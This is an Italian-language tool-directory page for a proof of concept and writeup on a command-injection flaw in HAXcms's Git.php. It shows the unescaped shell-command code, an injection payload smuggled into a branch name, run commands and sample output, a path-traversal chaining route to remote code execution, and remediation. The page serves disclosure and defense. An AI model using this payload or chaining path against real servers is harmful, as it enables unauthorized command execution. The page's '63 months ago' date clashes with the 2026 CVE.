Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-46394-haxcms-git-command-injection — PoC e writeup per CVE-2026-46394: iniezione di comandi del sistema operativo in Git.php di HAXcms (CWE-78). Solo ricerca di sicurezza autorizzata. | Kitploit
Strumenti/GitHubGitHub/shreyas-challa/cve-2026-46394-haxcms-git-command-injection
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHub
shreyas-challa/cve-2026-46394-haxcms-git-command-injection

CVE-2026-46394-haxcms-git-command-injection

PoC e writeup per CVE-2026-46394: iniezione di comandi del sistema operativo in Git.php di HAXcms (CWE-78). Solo ricerca di sicurezza autorizzata.

Vedi Repository
63 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-46394 - HAXcms Git.php Iniezione di comandi del sistema operativo (CWE-78)

Proof-of-concept solo per test di sicurezza autorizzati e ricerca. La vulnerabilità descritta è corretta nell'ultima release di HAXcms. Questo PoC è pubblicato affinché difensori e ricercatori possano verificare il problema su istanze non patchate di loro proprietà o esplicitamente autorizzate al test.

CVECVE-2026-46394
ComponenteBackend PHP di HAXcms - system/backend/php/lib/Git.php
VulnerabilitàIniezione di comandi del sistema operativo (CWE-78)
GravitàAlta - CVSS 3.1 7.2 standalone / 8.1 in combinazione con path traversal
StatoCorretto upstream. Interessa le release precedenti alla patch.
Progettoelmsln/HAXcms
SegnalatoreShreyas Challa ([email protected])

Riepilogo

La libreria Git.php nel backend PHP di HAXcms costruisce stringhe di comando shell concatenando parametri non sanitizzati e le passa direttamente a proc_open(). Delle 17 funzioni che eseguono comandi shell, solo una (commit()) usa escapeshellarg(). Le restanti 15 interpolano direttamente l'input del chiamante nella stringa di comando.

Qualsiasi valore contenente metacaratteri di shell (&, ;, |, $(), backtick) che raggiunge una di queste funzioni provoca l'esecuzione arbitraria di comandi del sistema operativo con i privilegi dell'utente del web server.

L'unica funzione correttamente escapata è la prova più evidente che l'escaping era noto e semplicemente omesso in tutti gli altri casi.

Causa principale

Ogni funzione vulnerabile passa attraverso run() → run_command() → proc_open():

// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

Esempio vulnerabile rispetto all'unica funzione sicura:

// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

Tutte le funzioni interessate

FunzioneRigaComando shellEscapata?
create_branch($branch)574branch $branchNO
delete_branch($branch)588branch -d $branchNO
checkout($branch)663checkout $branchNO
merge($branch)677merge $branch --no-ffNO
push($remote, $branch)785push $remote $branch $flagsNO
pull($remote, $branch)799pull $remote $branchNO
log($format)813log --pretty=format:"$format"NO
show($commit, $format)830show --pretty=format:"$format" $commitNO
list_tags($pattern)763tag -l $patternNO
clone_to($target)512clone --local $repo $targetNO
clone_from($source)527clone --local $source $repoNO
clone_remote($source)543clone $source $repoNO
set_remote($dest, $url)460remote add $dest $urlNO
rm($files)479rm $filesNO
add_tag($tag, $msg)749tag -a $tag -m $msg$tag: NO, $msg: sì
commit($message)496commit -av -m $messageSÌ (l'unica sicura)

Sfruttamento nel contesto

Nel codebase distribuito, queste funzioni vengono invocate con valori provenienti dalla configurazione di server/sito piuttosto che direttamente dai body delle richieste, quindi lo sfruttamento si realizza tramite concatenazione:

  • Path traversal → avvelenamento della configurazione → RCE: usa la path traversal di saveOutline per sovrascrivere il site.json di un sito, iniettando metacaratteri in metadata.site.git.branch. La successiva chiamata a gitCommit() invoca push('origin', $branch) in HAXCMSSite.php:584, eseguendo il payload.
  • Qualsiasi altro meccanismo che scrive impostazioni di branch/remote git in un manifest raggiunge create_branch() (Operations.php:2762) o set_remote() (HAXCMSSite.php:625).

Esecuzione del PoC

Il PoC pilota direttamente la libreria reale Git.php: crea un repository git usa e getta, chiama create_branch() con un payload che usa un separatore di comandi shell e conferma l'esecuzione verificando la presenza di un file di prova scritto su disco. Si pulisce da solo alla fine.

Prerequisiti

  • PHP CLI (7.x or 8.x)
  • git nel PATH
  • Una copia del backend PHP di HAXcms
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

Esecuzione

Indica al PoC il percorso di Git.php dal tuo clone di HAXcms (variabile d'ambiente o primo argomento); auto-rileva anche haxcms-php/ se posizionato accanto ad esso:

# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Funziona sia su Unix (separatore ;) che su Windows (separatore &); il PoC seleziona automaticamente il payload corretto per il sistema operativo host.

Esempio di output

================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

Rimedio

Applica escapeshellarg() a ogni parametro in tutte le 15 funzioni:

// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

Difesa in profondità - valida i valori prima che raggiungano il livello git:

function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

Aggiorna all'ultima release di HAXcms, che contiene la correzione upstream.

Divulgazione responsabile

Questo problema è stato segnalato ai maintainer di HAXcms e corretto prima della pubblicazione. Il PoC è rilasciato solo dopo che una patch era disponibile. Usalo esclusivamente contro sistemi di tua proprietà o per cui sei esplicitamente autorizzato a eseguire test.

Avviso legale / uso autorizzato

Questo materiale è fornito per ricerca difensiva, formazione e test di sicurezza autorizzati. Eseguirlo contro sistemi senza permesso esplicito potrebbe essere illegale. Sei l'unico responsabile del rispetto di tutte le leggi applicabili e dell'ottenimento dell'autorizzazione prima di effettuare i test. Fornito "così com'è" senza garanzie (vedi LICENSE).

Scarica lo strumento